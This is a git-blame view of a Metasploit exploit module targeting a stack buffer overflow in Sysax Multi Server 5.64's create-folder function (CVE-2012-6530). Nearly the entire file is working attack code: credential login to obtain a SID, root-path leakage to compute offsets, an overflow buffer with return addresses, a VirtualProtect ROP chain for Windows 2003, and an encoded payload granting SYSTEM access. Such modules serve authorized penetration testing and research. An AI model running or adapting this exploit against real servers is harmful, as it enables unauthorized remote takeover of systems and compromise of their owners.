Files
metasploit-gs/modules/exploits/windows/http/sysax_create_folder.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

194 lines
6.4 KiB
Ruby
Raw Normal View History

2012-07-29 10:40:02 -04:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-07-29 10:40:02 -04:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-08-20 10:41:42 -04:00
Rank = NormalRanking
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
include Msf::Exploit::Remote::HttpClient
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
'Description' => %q{
2012-08-20 22:42:54 +02:00
This module exploits a stack buffer overflow in the create folder function in
Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
vulnerability valid credentials with the create folder permission must be provided.
The HTTP option must be enabled on Sysax too.
2013-08-30 16:28:54 -05:00
2012-08-20 22:42:54 +02:00
This module will log into the server, get a SID token, find the root folder, and
then proceed to exploit the server. Successful exploits result in SYSTEM access.
This exploit works on XP SP3, and Server 2003 SP1-SP2.
2012-08-20 10:41:42 -04:00
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', #Original discovery for the overflow
'Matt "hostess" Andreko' #More reliable attack vector
2012-08-20 10:41:42 -04:00
],
'References' =>
[
2013-06-25 02:06:20 -05:00
[ 'CVE', '2012-6530' ],
[ 'OSVDB', '82329' ],
2012-08-20 22:42:54 +02:00
[ 'EDB', '20676' ],
[ 'EDB', '18420' ],
[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ]
2012-08-20 10:41:42 -04:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
'Space' => '1299',
'DisableNops' => true,
},
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
'Targets' =>
[
2012-08-20 22:42:54 +02:00
[ 'Windows XP SP3 / Sysax Multi Server 5.64',
2012-08-20 10:41:42 -04:00
{
'Rop' => false,
'Ret' => 0x77c35459, # push esp # ret [msvcrt.dll]
'Offset' => 711,
}
],
2012-08-20 22:42:54 +02:00
[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
2012-08-20 10:41:42 -04:00
{
'Rop' => true,
'Ret' => 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
'Offset' => 711,
'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
}
],
],
2012-08-20 22:42:54 +02:00
'Privileged' => true,
2020-10-02 17:38:06 +01:00
'DisclosureDate'=> '2012-07-29',
2012-08-20 10:41:42 -04:00
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
Opt::RPORT(80),
OptString.new('SysaxUSER', [ true, "Username" ]),
OptString.new('SysaxPASS', [ true, "Password" ])
])
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
end
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
def create_rop_chain()
rop_gadgets = []
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
# ROP chains provided by Corelan.be
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
if (target == targets[1]) # Windows 2003
rop_gadgets =
[
0x77be3adb, # POP EAX # RETN [msvcrt.dll]
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bdb896, # POP EBP # RETN [msvcrt.dll]
0x77be2265, # & push esp # ret [msvcrt.dll]
0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
0x77befbb4, # &Writable location [msvcrt.dll]
0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
].flatten.pack("V*")
end
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
return rop_gadgets
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
end
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
def get_sid
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
user = datastore['SysaxUSER']
pass = datastore['SysaxPASS']
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"
2013-01-31 14:18:42 -06:00
uri = target_uri.path
2012-08-20 10:41:42 -04:00
# Login to get SID value
r = send_request_cgi({
'method' => "POST",
2013-01-31 14:18:42 -06:00
'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"),
'data' => creds
2012-08-20 10:41:42 -04:00
})
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
# Parse response for SID token
sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
print_status "SID: #{sid.to_s}"
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
sid.to_s
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
end
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
def get_root_path(sid)
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
# Find the path because it's used to help calculate the offset
random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir
2013-01-31 14:18:42 -06:00
uri = normalize_uri(target_uri.path)
2012-08-20 10:41:42 -04:00
r = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"),
2012-08-20 10:41:42 -04:00
'method' => 'POST',
})
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
# Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.
# Root Path should be C:\Documents and Settings\Administrator\Desktop (no trailing slash)
root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]
print_status "Root Dir: #{root_path}"
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
root_path
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
end
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
def exploit
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
connect
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
sid = get_sid
root_path = get_root_path(sid)
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
buffer = rand_text(target['Offset']-root_path.length)
buffer << [target.ret].pack('V')
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
if (target['Rop'])
buffer << [target['Nop']].pack('V')*16
buffer << create_rop_chain()
end
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
buffer << make_nops(15)
buffer << payload.encoded
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
post_data = Rex::MIME::Message.new
post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"
2013-01-31 14:18:42 -06:00
uri = normalize_uri(target_uri.path)
2012-08-20 10:41:42 -04:00
r = send_request_cgi({
2013-01-30 23:23:41 -06:00
'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"),
2012-08-20 10:41:42 -04:00
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
disconnect
2013-08-30 16:28:54 -05:00
2012-08-20 10:41:42 -04:00
end
end